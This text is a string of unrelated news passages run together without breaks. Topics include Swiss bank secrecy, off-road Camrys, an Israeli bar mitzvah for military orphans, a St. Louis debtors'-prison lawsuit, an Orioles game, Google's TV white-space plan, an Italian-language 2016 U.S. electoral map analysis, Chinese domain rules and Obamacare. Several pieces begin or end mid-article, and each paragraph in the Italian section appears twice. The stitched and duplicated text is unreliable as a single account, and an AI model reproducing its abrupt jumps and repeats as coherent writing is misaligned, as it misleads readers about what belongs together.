UBS, Switzerland’s biggest bank, was forced in 2009 to pay a fine of $780 million and deliver the names of more than 4,000 clients to avoid indictment, giving the U.S. authorities information that allowed them to then pursue other Swiss banks.
Banks under formal U.S. investigation include Credit Suisse, Julius Baer, British bank HSBC’s Swiss arm, privately held Pictet in Geneva and smaller players such as LLB’s Swiss arm and local government-backed Zuercher Kantonalbank and Basler Kantonalbank.
Ackermann also urged Switzerland, increasingly alone in Europe in holding on to its banking secrecy law, to step up debate with the Organization for Economic Cooperation and Development (OECD) about an internationally binding standard on automatically exchanging client information.
Nearly all EU member states exchange information about what interest payments bank account holders receive. Luxembourg and Austria both recently came under pressure from their European partners and have agreed to sign up to the code, in turn raising the heat on Switzerland.
“There is no reason ... for premature and possibly ill-considered concessions with only regional reach. Now is the time to carefully evaluate options and seek a solution within a broadly accepted framework,” Ackermann said.
“For a global standard to be palatable also for Switzerland, it must reconcile the justified desire to deal with tax evasion with our long-standing policy of protecting financial privacy.”
First we start with what an off-roading Camry looks like. Should it be a beat up Camry that you’ve literally driven the wheels off of?
Or maybe you have just the Camry for the job.
Are you going to bring a friend? Perhaps one who has a slightly more capable off-road Toyota than you…
How serious do you plan on getting? How deep do you think it’ll get? You’ve got to be prepared for when the road ends.
After all, maybe it is time to throw caution to the wind and hit those mud pits!
Just make sure you don’t get stuck!
Remember, it only takes a few inches of mud or water to put an end to your adventures.
But we’re no fun police! Get out there and try again.
Note: We are sorry for the grainy pictures. Spotting a Camry off-road is more rare than spotting a big foot! However, you have to admire their ambition, or whatever it was that inspired these drivers…
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Instead of celebrating with the big party he had always dreamed of, Ori laid tefillin with the help of Chief Military Rabbi Rafi Peretz; and instead of being surrounded by his classmates, Ori stood in a crowd of 50 boys and girls - Israel Defense Forces orphans who had come of age.
Ori Greenberg celebrates his bar mitzvah at the Western Wall (Photo: Ohad Zwigenberg)
On the other side of the plaza stood Neta Etzion, whose father, Ze'evik, also appears on the list of the Operation Protective Edge fatalities. Ze'evik, the security officer at Kibbutz Nirim, was killed in a mortar attack on the kibbutz just an hour or so before the ceasefire went into effect.
"Neta was due to celebrate her bat mitzvah at the kibbutz, but it fell exactly on the day the ground operation began," her mother, Nava, recounted. "A group of children were planning to celebrate together. They had already sent out invitations. But the operation put a stop to everything."
Neta's celebration was postponed indefinitely, and Monday was the first time since the tragedy that she marked a joyous occasion. "I'll have a bat mitzvah at some point, but I don't know if it will be at the kibbutz. We're waiting for Gadi to get back to the kibbutz and then we'll see," she said.
Gadi is Gadi Yarkoni, the kibbutz coordinator, who was injured in the same mortar attack that killed his good friend, Ze'evik, and is currently recovering in hospital after both his legs were amputated.
"There are two of us in the group who lost their fathers in the incident – me and the daughter of Shahar Melamed. We don’t know what will happen now," Neta added.
Neta Etzion and Ori Greenberg with President Rivlin (Photo: Ohad Zwigenberg)
The children and widows spent the day at Mount Herzl and the Western Wall, and a special reception awaited them that evening: The president, defense minister, chief of staff, police commissioner and commander of the Israel Prison Service all showed up to wish them well.
The guests were individually introduced by some of the children, who also spoke about their fathers; and waiting on the stage for the chief of staff, when his turn came, stood the young Ori, who moved many a heart with his eulogy to his father at his funeral some two months ago. "Once you only seemed like Superman, but now you really are Superman who saved thousands," Ori said over his father's grave.
"My name is Ori, and I am the son of Lieutenant Colonel Amotz Greenberg, an Armored Corps fighter who fell in Operation Protective Edge 68 days ago," Ori said on Monday in an emotional voice.
"I respectfully invite Chief of Staff Lieutenant General Benny Gantz to the stage. I am honored to light the candle of strength with the chief of staff, with the knowledge that we must always be strong in order to defend the State of Israel.
"Before going out into battle, my father said: 'I can't leave my soldiers alone.' Dad went to do reserve duty and didn't come home. Dad and his fallen comrades have entrusted us with life and the preservation of our strength as a nation, as a state and as a society."
Gantz embraced Ori and kissed his forehead, and then went on to say that "at this very moment, my wife, Revital, is taking my third son, Nir, to study his Torah portion. If only you all had that opportunity."
Benny Gantz embraces Ori Greenberg at his bar mitzvah celebration (Photo: Ohad Zwigenberg)
When President Reuven Rivlin made a mistake with Greenberg's rank, Ori made a point of informing the large crowd that his father had been promoted to the rank of lieutenant colonel after his death. The president then had photographs taken with Ori and Neta, who told him of their experiences on the days their fathers were killed.
"It was fun," Ori said after the ceremony. "We toured the Herzl Museum and I laid tefillin at the Wall. I enjoyed the day. My grandmother and grandfather came with me, and also my younger sister and my mother. I met a lot of new friends. I'm happy I came despite the fact that it was nerve-wracking to stand on the stage with Benny Gantz."
The ceremony was "very moving, powerful and touching," said Nava Etzion at the end of the evening. "We haven't even marked the end of 30-day mourning period. It's all still very fresh for us, and the sense that someone is watching out for us is touching."
Defense Minister Moshe Ya'alon embraces one of the bat mitzvah celebrants (Photo: Ohad Zwigenberg)
Looking on from the side stood Nava Shoham-Solan, who heads the Israel Defense Forces Widows and Orphans Organization, which was behind the event.
A federal class action accuses 13 St. Louis County cities of putting black people in de facto debtors’ prisons because they can’t afford to pay traffic tickets and fines for other petty offenses.
Quinton Thomas and 12 other named plaintiffs sued St. Ann, Edmundson, Normandy, Cool Valley, Velda City, Beverly Hills, Pagedale, Calverton Park, St. John, Bel-Ridge, Wellston, Velda Village Hills and Bellefontaine Neighbors. All are in north St. Louis County.
“In 2015 alone, the defendant municipalities issued an average of 1.7 arrest warrants per household and one (1) arrest warrant for every adult, mostly for allegedly unpaid debt in connection with tickets supposedly involving traffic violations and other petty offenses,” the complaint states.
The plaintiffs say they were “locked in a cage” solely because they couldn’t afford cash payment for minor violations.
“And each was left to languish in filthy, often overcrowded jail cells because he or she could not afford to pay the jacked-up fines, penalties, and other charges that defendants assessed,” the complaint states. “Defendants did not inquire about, much less accommodate, the hardships their extortionate demands placed on plaintiffs and their families. Nor did defendants offer to provide plaintiffs with counsel who could advise them of their rights or otherwise protect them from defendants’ predatory scheme.”
The lawsuit mirrors a class action filed in February 2015 against nearby Ferguson and Jennings. Those class actions spurred reforms in those cities’ courts.
The Ferguson and Jennings class actions were filed by an attorney with Equal Justice Under Law, in Washington, D.C., in conjunction with , St. Louis-based ArchCity Defenders, a nonprofit, and by St. Louis University School of Law.
This latest class action was filed by Thomas Harvey with ArchCity Defenders.
All the class actions stem from the protests after Michael Brown’s death. Brown, an unarmed black man, was shot by Ferguson police officer Darren Wilson, who is white, on Aug. 9, 2014. Protesters voiced concerns about policing in black communities and the cities using the court system as a revenue generator on the backs of poor black people.
The latest class action says this “extraordinary abuse of government authority” starts with the over-policing of poor black communities, which causes excessive citations for traffic and other municipal violations.
The citations are followed by “arbitrary fines, penalties, surcharges, and interest charges that pile up like debts to a loan-shark, arrest warrants auto-generated without good cause or even a semblance of due process, and imprisonment — imposed without assistance of counsel — in squalid debtors’ prisons,” the complaint states.
The plaintiffs claim the system disproportionately targets blacks, places their jobs at risk and leaves their children without supervision.
They seek unspecified damages and an injunction.
Published by Courthouse News Service.
Baltimore Orioles: 5 of the most exciting games of 2016 by Nate Wardle
The Baltimore Orioles finished 2016 with a record of 89-73, a wild-card loss to the Toronto Blue Jays in extra innings in what would be considered a successful year.
The Baltimore Orioles biggest game of 2016 wasn’t the lone wild-card game, but the game a week earlier in Toronto. To look at their most exciting games of the year, check this out.
The Birds headed north coming off a much-needed sweep of the Arizona Diamondbacks, only to have their struggling bats silenced in game one of the series in a 5-1 loss.
Kevin Gausman again received no run support from the offense and allowed an early home run to Josh Donaldson, as Aaron Sanchez continued his successful season in the win for Toronto.
That loss, combined with the Detroit Tigers win over the Cleveland Indians, left the Orioles one game ahead in the race for the second Wild Card spot.
Game two of the series was played on September 28th at Rogers Centre.
The game started in ugly fashion for the Orioles. Ezequiel Carrera reached on a bad fielding play by Chris Tillman and Chris Davis, with Davis getting an error. Then, Tillman attempted to pick off Carrera, putting him on third base. A sacrifice fly by Edwin Encarnacion made it 1-0 in the first inning.
The Orioles were hitless through the first three innings, but got two quick hits in the fourth with no outs, only for Francisco Liriano, who struck out 10, to strike out Manny Machado, Mark Trumbo, and Trey Mancini to end the threat.
Meanwhile, the Jays had put a run across in the second to run the score to 2-0 Toronto.
In the fifth, the Orioles loaded the bases, but again all three outs came via the strikeout and this team that struggled to get runners in was at it again.
The O’s went down 1-2-3 in the sixth, and then got a huge double play on a fly ball double play in the bottom half when Jose Bautista got doubled up. That ended Chris Tillman’s day, and Donnie Hart, Mychal Givens, and Brian Duensing would pitch the next two and a third innings, leaving up absolutely nothing.
In the seventh, the Orioles again got baserunners on, only for strikeouts to again ruin the inning.
The major league leader in home runs, Mark Trumbo, struck in the eighth off Jason Grilli (very few people I would rather see a home run hit against) on a solo shot to put the Birds within one going into the ninth.
The Jays brought in closer Roberto Osuna, who established himself as an excellent closer in 2016, following up his successful rookie campaign in 2015.
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The inning began with, what else, a strike out by J.J. Hardy. Jonathan Schoop singled and then was pinch-run for with Michael Bourn.
Meanwhile, Hyun Soo Kim came to the plate to bat for Nolan Reimold. Bourn stole second, and Kim worked the count full and saw nine pitches in the at-bat.
Kim hit the ninth pitch of the at-bat to right field, just high enough to clear the tall Rogers Centre wall.
It was pretty clear the ball was going to clear Bautista in right field, but when the ball cleared the wall into the Orioles’ bullpen, the bullpen and bench went wild.
With a one-run lead, the team turned to Zach Britton to face the Jays’ 8-9-1 hitters. You can imagine how that went. Two strikeouts and a ground out later and the Orioles gained a pivotal victory.
The win kept them one game behind Toronto for the first wild card, and also one game ahead of Detroit for the second wild card.
The training sessions take place near the Mini Estadi every Monday and Thursday between 17h and 18h. The kids enjoy themselves with various games and other exercises to stimulate their learning. With the ball, they do the basic. The legendary control-pass is a staple, although they've not yet moved on to the famous rondos.
Each session is closed off to the public and only the parents are allowed to attend. Gerard Pique, Antonella, Messi's partner, and Sofi, Luis Suarez's partner, haven't missed one session. Messi and Suarez have also been at seveal sessions, as has Shakira. On Thursday, Neymar was present, accompanied by some of his friends, to watch on as Lucca trained with Barcelona.
The new Wi-Fi: Next year’s digital-TV transition will free up empty TV channels for use by broadband companies. Google wants to use them to create what it calls Wi-Fi 2.0 services.
For several years, policy makers, technology companies, and broadcasters have been debating the best use for this newly available wireless real estate. This “white space” between operating TV channels is of particular interest to broadband companies, because wireless signals sent at these frequencies will have the ability to penetrate walls and other obstructions more easily than do cell-phone or Wi-Fi signals.
Google submitted its new proposal to federal regulators late last week, outlining a plan to utilize the unused channels for what the company calls Wi-Fi 2.0: a loosely regulated set of broadband services with the potential for gigabit data speeds. The company stopped short of saying that it would seek to operate a broadband network itself, but it clearly sees business potential, telling federal regulators that it would provide other companies with “the technical support necessary” to turn the TV frequencies into broadband data conduits, free of charge.
“The unique qualities of the TV white space–unused spectrum, large amounts of bandwidth, and excellent propagation characteristics–offer a once-in-a-lifetime opportunity to provide ubiquitous wireless broadband access,” wrote Google attorney Richard Whitt in the company’s proposal to the Federal Communications Commission (FCC).
Indeed, the soon-to-be-freed TV airwaves represent some of the last, and potentially most valuable, swathes of U.S. wireless spectrum still suitable for providing broadband services. Naturally, the debate over how they will be used–and who should use them–has been fierce.
Technology companies such as Google, Microsoft, and Motorola say that these frequencies are particularly well suited for providing rural areas with high-speed Internet service, as well as for short- or medium-range networking applications that might provide data transfer rates of gigabits per second, as opposed to the roughly 54 megabits per second of today’s 802.11g-based Wi-Fi networks.
Regulators have already approved the use of some fixed devices, but the tech companies want approval for mobile devices such as handhelds and laptops as well, and they’re seeking rules that would let companies offer services using the spectrum without having to get new licenses. Google has said that the TV white space would be ideal for mobile data devices using its open-source Android platform, for example.
However, TV broadcasters are worried that unlicensed devices sending data on unused TV channels–say, a vacant channel 29–might interfere with the program signals being broadcast on channel 28 or 30. Similarly, they’re concerned that mobile devices able to operate across a range of frequencies might accidently choose a channel being used locally for TV service and scramble nearby TV viewers’ signals.
Technology companies say that they can control for this problem. They’ve advocated a technique called spectrum sensing, in which the portable devices, transmitters, and receivers alike would scan channels before using them to make sure that they are indeed vacant. Detecting the presence of TV signals or other authorized users would keep a “white-space device” from using that channel.
However, FCC tests of spectrum-sensing prototype devices have been spotty at best. A first round of testing last year had disappointing results. Another round of FCC testing, with a new batch of prototype devices from four different companies, is now under way.
Google’s new proposal aims to deflect concerns about those tests. To this end, the company has adopted three alternative ideas that were previously advocated by Motorola and others for protecting against interference.
The first aspect of this protection would create a publicly accessible database listing all licensed TV stations and their geographic location. Any device attempting to use the TV spectrum would first have to establish its own geographic location, by using GPS readings or another means, and then check this database to avoid conflict with a licensed TV station in that area.
In its proposal, Google said that it would be willing to maintain “open geo-databases” to support this function, as well as provide intellectual property, reference designs, and technical support to other companies.
A second tool would be aimed at protecting the wireless microphones commonly used by news crews, conference speakers, and others, all of which today send signals over parts of the vacant TV spectrum.
Following earlier suggestions, Google is proposing the creation of an inexpensive “beacon” device, which would let microphone users broadcast the fact that a particular channel, in a particular area, is in use. White-space devices would be required to monitor and respect these active beacon signals, and to avoid broadcasting on the same channel.
Lastly, channels 36 through 38 would be set aside as a “safe harbor,” to be used only by wireless microphones.
“We think Google did a good job of recognizing the high level of protection provided through this approach,” says Steve Sharkey, senior director of regulatory and spectrum policy for Motorola, which submitted a proposal with similar features last year. “There is no question that this will be able to fully protect the [TV broadcast] incumbents and the devices that are supposed to be protected.”
Others are less convinced.
“There is nothing in [Google’s proposal] other than a laundry list of so-called protections that quite candidly have been debated for the last several years,” says David Donovan, president of Maximum Service Television, a lobbying group that works closely with broadcasters. “There is no new technical information. There is no evidence put forth by Google, nor is there evidence in the record that any of this actually works.”
At this date, with analysis of spectrum-sensing prototype devices still under way, and the alternative proposals still untested, there is no guarantee that the big technology companies, such as Google and Motorola, will have their way.
Indeed, this week the Cellular Telephone Industry Association (CTIA) offered an alternative proposal, under which the white-space channels would be used instead by licensed operators–much as cell-phone frequencies are used today–to offer broadband services. Broadcasters have said that they are more willing to accept this model, since any TV interference could be tracked immediately to a licensee, instead of to an unknown, unlicensed device.
However, the allure of spectrum-sensing devices hasn’t diminished, despite testing hiccups and Google’s new compromise proposal.
Google’s proposal itself envisions a transition system, in which new devices’ spectrum-sensing features could be continually checked against the information in the TV database, and any mismatches could be used to improve the technology.
Once spectrum sensing does mature, whole new generations of devices will be able to comb the airwaves looking for unused space, even beyond the TV channels now under discussion, the company says. Google has outlined a way of allocating this unused spectrum on the basis of “dynamic auctions,” in which network service providers would bid for and gain access to the unused spectrum on a real-time basis, using an online auction tool.
Any such system would face considerable regulatory and technical hurdles, and it would almost certainly inspire political opposition from other, more traditional wireless users. But the idea of broadband devices that can find and utilize virtually any vacant spectrum has inspired technologists who see a more efficient use of the airwaves as a way to eliminate bandwidth constraints.
In latest James Franco news, the actor has now interviewed himself for FourTwoNine magazine. The interview takes place between James Franco self-identified heterosexual self and gay self. The conversation pretty much starts off like this:
Straight James: OK, so, good place to start. Let’s get substantial: are you f***ing gay or what? Gay James: Well, I like to think that I’m gay in my art and straight in my life. Although, I’m also gay in my life up to the point of intercourse, and then you could say I’m straight. So I guess it depends on how you define gay. If it means whom you have sex with, I guess I’m straight. In the twenties and thirties, they used to define homosexuality by how you acted and not by whom you slept with. Sailors would f*** guys all the time, but as long as they behaved in masculine ways, they weren’t considered gay. I wrote a little poem about it.
MAPPA 1: GLI STATI CONSIDERATI SICURI PER I DUE CANDIDATI - Le “due Americhe”. Il rosso (che qui indica la destra) e il blu si mescolano poco. L’America liberal è prevalentemente sulle fasce costiere, quella conservatrice presidia il profondo Sud e i petro-Stati, dove domina il business delle energie fossili. Le varianti sono spesso legate ai flussi migratori. Alcuni Stati del Sud sono diventati “contendibili” per i democratici in seguito all’aumento dell’elettorato ispanico. Non è scontato che gli immigrati siano di sinistra: nella sua storia il partito repubblicano ha saputo conquistare dei consensi tra italiani, irlandesi, polacchi. Ma le ultime posizioni sull’immigrazione hanno creato un solco. Qui sotto una lista di Stati che dovrebbero essere saldamente da una parte e dall’altra, ma che non bastano a sancire un vincitore.
Trump: 16 Stati sicuri e 115 grandi elettori (sui 270 necessari)
Wyoming, West Virginia, Oklahoma, Idaho, Arkansas, Alabama, Louisiana, Kentucky, Tennessee, South Dakota e North Dakota, Montana, Mississippi, Kansas, Indiana, Alaska.
Clinton: 15 Stati sicuri e 192 grandi elettori (sui 270 necessari)
Vermont, Maryland, Hawaii, Massachusetts, California, New York, Rhode Island, Illinois, Delaware, Connecticut, Washington, New Jersey, Oregon, New Mexico e il District of Columbia.
GLI STATI DA TENERE D'OCCHIO: LA FLORIDA
Da sempre il trofeo più ambito tra i collegi in bilico. Esprime 29 “grandi elettori”, un pacchetto inferiore solo a California e Texas, pari a New York. Fu decisiva (con brogli) nella sfida Bush-Gore. La demografia favorisce la Clinton: aumentano gli immigrati ispanici che hanno la cittadinanza, e non gradiscono la xenofobia di Trump. Ma lei può anche permettersi di perderla mentre per Trump un “percorso di vittoria” senza Florida è arduo. La media degli ultimi sondaggi assegna la Florida a Trump con un margine esiguo, dello 0,5%, ben al di sotto della probabilità di errore statistico. Da sempre il trofeo più ambito tra i collegi in bilico. Esprime 29 “grandi elettori”, un pacchetto inferiore solo a California e Texas, pari a New York. Fu decisiva (con brogli) nella sfida Bush-Gore. La demografia favorisce la Clinton: aumentano gli immigrati ispanici che hanno la cittadinanza, e non gradiscono la xenofobia di Trump. Ma lei può anche permettersi di perderla mentre per Trump un “percorso di vittoria” senza Florida è arduo. La media degli ultimi sondaggi assegna la Florida a Trump con un margine esiguo, dello 0,5%, ben al di sotto della probabilità di errore statistico.
GLI STATI DA TENERE D'OCCHIO: TEXAS
L'inverosimile traguardo che fa sognare i democratici. Dopo il presidente Lyndon Johnson (ultimo democratico texano alla Casa Bianca) lo Stato del Big Oil è passato stabilmente nel campo repubblicano. Con i suoi 38 grandi elettori è indispensabile alla destra per bilanciare la progressista California (55). I sondaggi lo assegnano a Trump, ma con un margine meno solido di altre tornate elettorali. Se dovesse scivolare a sinistra il Texas, si aprirebbe uno scenario da “landslide”, la frana del Grand Old Party. Con effetti a catena sul Congresso dove i democratici potrebbero riconquistare la maggioranza non solo al Senato ma forse perfino alla Camera. L'inverosimile traguardo che fa sognare i democratici. Dopo il presidente Lyndon Johnson (ultimo democratico texano alla Casa Bianca) lo Stato del Big Oil è passato stabilmente nel campo repubblicano. Con i suoi 38 grandi elettori è indispensabile alla destra per bilanciare la progressista California (55). I sondaggi lo assegnano a Trump, ma con un margine meno solido di altre tornate elettorali. Se dovesse scivolare a sinistra il Texas, si aprirebbe uno scenario da “landslide”, la frana del Grand Old Party. Con effetti a catena sul Congresso dove i democratici potrebbero riconquistare la maggioranza non solo al Senato ma forse perfino alla Camera.
GLI STATI DA TENERE D'OCCHIO: OHIO
Altro Stato industriale, cerniera tra la East Coast e il Midwest, ha un bottino di 18 voti. Era la roccaforte del governatore repubblicano (moderato) John Kasich malamente sconfitto da Trump nelle primarie. Anche se la Clinton gode di un leggero vantaggio nei sondaggi, qui il tycoon rimane competitivo. Strappare l'Ohio per lui può significare anche una performance migliore del previsto in altri Stati della cosiddetta “cintura della ruggine”, la vecchia America delle fabbriche. Altro Stato industriale, cerniera tra la East Coast e il Midwest, ha un bottino di 18 voti. Era la roccaforte del governatore repubblicano (moderato) John Kasich malamente sconfitto da Trump nelle primarie. Anche se la Clinton gode di un leggero vantaggio nei sondaggi, qui il tycoon rimane competitivo. Strappare l'Ohio per lui può significare anche una performance migliore del previsto in altri Stati della cosiddetta “cintura della ruggine”, la vecchia America delle fabbriche.
MAPPA 2 - GLI STATI 'SICURI' E I QUELLI DOVE UNO DEI DUE CANDIDATI E' DATO NETTAMENTE FAVORITO NEI SONDAGGI - Sulla base dei sondaggi, qui sono colorati in rosso chiaro quegli Stati che "scivolano verso" i repubblicani, in blu chiaro quelli dove una leggera preferenza va ai democratici. Ovvero:
Trump: Texas, Utah, che porterebbero il suo bottino a 159 grandi elettori
Clinton: Pennsylvania, Michigan, Wisconsin, Colorado, Virginia, New Mexico, che porterebbero il totale a quota 265, cioè cinque soli delegati al di sotto della maggioranza assoluta
Quali sono le possibili sorprese qui? Anzitutto è già sorprendente trovare il Texas in questa seconda mappa anziché nella prima. È per l'appunto un effetto dell'immigrazione ispanica, oltre che di una evoluzione tra i Millennial. Ho spiegato sopra che se il Texas dovesse smentire la tradizione e le previsioni, dando una maggioranza a Hillary, questo di per sé chiuderebbe la partita in suo favore. Ma ci sono soprese possibili nell'altra direzione: un travaso di operai bianchi maschi in favore di Trump nelle zone industriali della Pennsylvania o del Michigan, se così massiccio da far vincere il repubblicano, può rendere molto più problematico il percorso di Hillary verso quota 270.
GLI STATI DA TENERE D'OCCHIO: PENNSYLVANIA
Con 20 “grandi elettori” è uno Stato medio-grande. C'è abbastanza classe operaia bianca danneggiata dalle delocalizzazioni, da essere conquistabile per Trump col suo protezionismo. Invece la Clinton è favorita con un margine di 5 punti. Forse per questo Trump ha parlato di “cose orrende” che accadono a Philadelphia: i presunti brogli sono un'allusione a qualcos'altro, troppi neri che votano. Ma se la sera dell'8 dovessimo scoprire che la Pennsylvania va a destra, sarebbe il segnale che i sondaggi hanno sbagliato, l'avvisaglia di una “frana” imprevista di Hillary. Con 20 “grandi elettori” è uno Stato medio-grande. C'è abbastanza classe operaia bianca danneggiata dalle delocalizzazioni, da essere conquistabile per Trump col suo protezionismo. Invece la Clinton è favorita con un margine di 5 punti. Forse per questo Trump ha parlato di “cose orrende” che accadono a Philadelphia: i presunti brogli sono un'allusione a qualcos'altro, troppi neri che votano. Ma se la sera dell'8 dovessimo scoprire che la Pennsylvania va a destra, sarebbe il segnale che i sondaggi hanno sbagliato, l'avvisaglia di una “frana” imprevista di Hillary.
MAPPA 3 - A TRUMP POTREBBERO NON BASTARE TUTTI GLI STATI IN BILICO - In questo terzo scenario abbiamo ipotizzato che Trump vinca quasi tutti gli altri Stati in bilico, ad esclusione di New Hampshire (dove Hillary è ancora in leggero vantaggio) e Nebraska e Maine, gli unici che possono dividere i loro delegati perché hanno un sistema elettorale diverso. In questo scenario Trump arriverebbe a 260 contro 269, i 265 già ottenuti dalla Clinton con i risultati ipotizzati nella mappa 2 più il solo New Hampshire. A quel punto i tre grandi elettori del Maine (quelli sicuri) basterebbero alla Clinton per vincere comunque.
Questo "serpentone" (pubblicato dal sito fivethirtyeight.com) aiuta a capire meglio lo stato delle previsioni. Il colore scuro indica gli Stati Usa dove il risultato è certo, blu scuro per i democratici e rosso scuro per i repubblicani. Il serpentone si percorre passando dagli Stati più sicuri a quelli dove progressivamente il margine di scarto fra i due candidati è meno ampio. Si arriva infine a quelli in bilico, incerti. La linea di confine, situata in corrispondenza dei 270 voti necessari alla vittoria, si sposta di volta in volta lungo il serpentone, al variare del responso medio dei sondaggi. Il recupero nei sondaggi ha permesso a Clinton di tornare in vantaggio in Stati in bilico come Florida, Nevada e North Carolina, tutti necessari a Trump per poter essere eletto. Infatti se il "muro anti-incendio" (firewall) costituito da Stati sicuri per la Clinton (fino alla Pennsylvania, per intendersi) dovesse reggere, all'ex segretario di Stato basterebbe conquistare uno solo di questi Stati (o anche il New Hampshire) per assicurarsi il bottino dei 270 voti elettorali e l'elezione.
China proposes foreign domain name censorship
Tue 29 Mar 2016
A new draft law in China could potentially increase domain name restrictions, limiting domestic access to foreign websites.
The measures outlined in the ‘Internet Domain Name Management Rules’ (Chinese) remain unclear, yet suggest a marked effort to increase censorship on online content.
The proposals, released for public comment last week by the Ministry of Industry and Information Technology, seek to update existing regulations to censor any domain names not registered within China. Only domain names approved by authorities would be permitted, while other names registered outside of China would be blocked automatically.
Local Communist Party-backed paper Global Times noted that the rules are only necessary in the short term to ensure national security. The measures specifically detail that domain names must not ‘jeopardize national security,’ ‘leak state secrets,’ or ‘subvert state power, undermining national unity.’
Those in violation of the new regulations could be fined up to 30,000 yuan (approx. £3,000).
The laws will most likely affect foreign tech firms, including U.S. giants Apple and Microsoft, which host services from Chinese servers.
China’s Great Firewall, currently blocks access to a list of foreign websites and internet services including Facebook, Google and the New York Times. However, this system could now become ineffective with domain name restrictions even redirecting traffic from ‘harmless’ sites.
The draft is open for public discussion until 25 April. Even if the measures do not pass this stage, their inclusion in the proposal emphasises the country’s determination to bring the internet under its control.
Last month the government issued regulations stipulating that foreign publishers wanting to reach a Chinese audience must set up servers in China, receive approval from the relevant authorities and acquire an online publishing license. The rules, which apply to news outlets, gaming companies and entertainment firms, require that foreign groups store all of their technical equipment, servers and storage devices, which host materials for a Chinese market, within China.
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Robyn Benson, 32, of Victoria, Canada, was 22 weeks pregnant when her husband found her unresponsive in their home Dec. 28 after she complained of a headache, according to her husband's blog. Doctors learned that she'd had a massive brain bleed and declared her brain dead, but they offered to keep her on life support to save the baby, her husband Dylan Benson wrote.
"It is with a heavy heart but also with extreme proudness that I am posting this update," Dylan Benson wrote on his Facebook page and blog Monday night. "On Saturday evening, my beautiful and amazing son, Iver Cohen Benson, was born."
Dylan Benson posted a photo of himself holding baby Iver, who was born at about 28 weeks.
"Iver is healthy and is the cutest and most precious person I have ever met," Dylan Benson wrote, but he expects a "bumpy ride" for the preemie.
Saying hello to Iver means saying goodbye to his wife, Dylan Benson wrote. He wrote that he was proud of her, and that she will live on in their son and in his heart.
"I miss Robyn more than words can explain," he wrote.
Benson's plea to keep his wife alive resulted in an outpouring of help from friends and strangers, who raised more than $150,000 on his behalf to help pay the family's expenses.
The Benson family's story is similar to that of the Munoz family more than 2,000 miles away in Fort Worth, Texas. Marlise Munoz was declared brain dead in November when she was 14 weeks pregnant, but her husband did not want doctors to keep her on life support. However, the hospital said it was bound by state law to keep her alive for the duration of her pregnancy to save the baby. The family ultimately won the right to have Munoz removed from life support when they sued and a judge ruled in their favor.
If you want to be insured come Jan. 1, you have to pay your first month's premium by your insurer's due date, often Dec. 31.
Sounds simple enough, but federal officials and insurers are concerned that many consumers don't realize they have to take this last step and will remain uninsured. What's more, those who don't pay by then may have their Obamacare applications terminated, forcing them to re-enroll via healthcare.gov for coverage that will begin later in 2014.
The tight deadline and continuing errors with consumers' applications being sent to insurers also risk leaving some folks uncovered. Obama administration officials are advising consumers to check with their insurer of choice to make sure it received their application and payment and that coverage will begin Jan. 1.
Here's the timeline: Consumers have until Dec. 23 to pick an insurance plan on healthcare.gov, the federal Obamacare exchange handling enrollment for 36 states, if they want to be covered at the start of the new year. Once they do, a final screen confirms they've completed their application, but warns that they have to pay their first premium for coverage to be activated.
The site then provides a payment button that takes them to their insurer's website. Some companies accept online payments, but others give consumers information about how to take care of the bill.
Those who live in the 14 states (plus the District of Columbia) with their own exchanges face different deadlines. In Oregon, for instance, residents had to submit initial applications by Dec 4, while Californians have until Jan. 6 to make their first payment. Those planning to sign up this month should check the deadlines of both their exchange and their chosen insurer.
Share your story: Are you signing up for Obamacare?
While the Obama administration has reported that more than 100,000 Americans picked plans in October, the first month of open enrollment, it's not known how many of them have paid.
One insurer, Physicians Health Plan of Northern Indiana, has received payments from only about 20% of applicants, nearly all using the firm's online portal, said Jim Brunnemer, the chief financial officer. It is sending invoices and email reminders to those who haven't yet sealed the deal. If payment isn't made by New Year's Eve, PHP has been told by federal officials that it must void the application.
Another complication is that insurers also don't have a lot of time to process applications and send out ID cards. The timeline, particularly over the holiday week, will prove "challenging" for some companies, one industry executive said.
It usually takes 10 days for Scott & White Health Plan to activate an applicant, said Allan Einboden, chief executive of the Texas-based insurer. But the company will work with new enrollees to make sure that their prescriptions and other medical needs are covered in the early days of the new year.
"We have mechanisms to get people by," he said.
The process is being further complicated by the fact that insurers are receiving applications from healthcare.gov that contain errors, such as missing data. Some applications aren't getting through, so insurers don't know to follow up with these folks. Both of these problems are slowing down the enrollment process.
The issue is serious enough that federal officials are reaching out to applicants via phone and email to make sure they pay for a plan and contact their insurer to confirm enrollment.
"We will also make a concerted effort to reach consumers who selected a plan over the course of these past several weeks so that they know what their next steps would be," said Julie Bataille, a spokeswoman for the Centers for Medicare & Medicaid Services, which is managing healthcare.gov.
Const. Mike Russell says Victoria's 911 communications centre received a call from a frantic mother who got a call from her daughter’s cell phone and heard terrified screams.
It turned out the daughter was at a horror movie and had inadvertently called her mother.
Victoria police say they've dealt with 828 accidental calls to 911 in the past six weeks. (iStock)
"And all she could hear on the other end of the line was screaming and yelling. It sounded like a very big struggle going on," Russell said.
"So we actually had to have our … staff try to get a hold of the daughter, and with so many pocket dials and abandoned 911s, it's certainly creating an extra burden for our officers and for our communications centre staff."
Gardner was once considered one of the prime movers in a select panel of Republican Senators drafting that chamber’s version of an Obamacare repeal after the House’s much-celebrated bill was declared DOA owing to its…well, for lack of a better term, its casualty count. The failure of Republicans to craft legislation to repeal Obamacare without doing tremendous harm to the millions who have directly benefitted from the law is a growing political nightmare for Gardner, who campaigned heavily on the whole slate of factually-dubious arguments against Obamacare that were popular during the Tea Party movement of 2009-2010.
Yesterday, as Denver7’s Blair Miller reports, the bad news continued to rain down on Gardner:
Gardner told Denver7 Wednesday he hadn’t seen a text version of the bill despite being one of a handful of Republicans working in small groups to craft the bill. Senate Republicans wrote their own bill after the House of Representatives passed its version, the American Health Care Act, in early May… Gardner slammed those who he said were jumping to conclusions about the bill without fully analyzing it. “It’s frustrating that instead of actually reviewing the legislative text some have decided to immediately oppose the bill before it was even introduced,” Gardner told Denver7 in a statement. “This deserves serious debate, not knee-jerk reaction.” [Pols emphasis]
First of all, after the first six months of Donald Trump’s presidency have been dominated by debate over the repeal of Obamacare, it’s absurd to claim that any reaction to this latest bill is “knee-jerk.” Everyone following this debate understands what Republicans are working toward here, and the overwhelming public opposition to basically every part of this repeal process is not going to be quelled by the relatively minor differences from one bill to another.
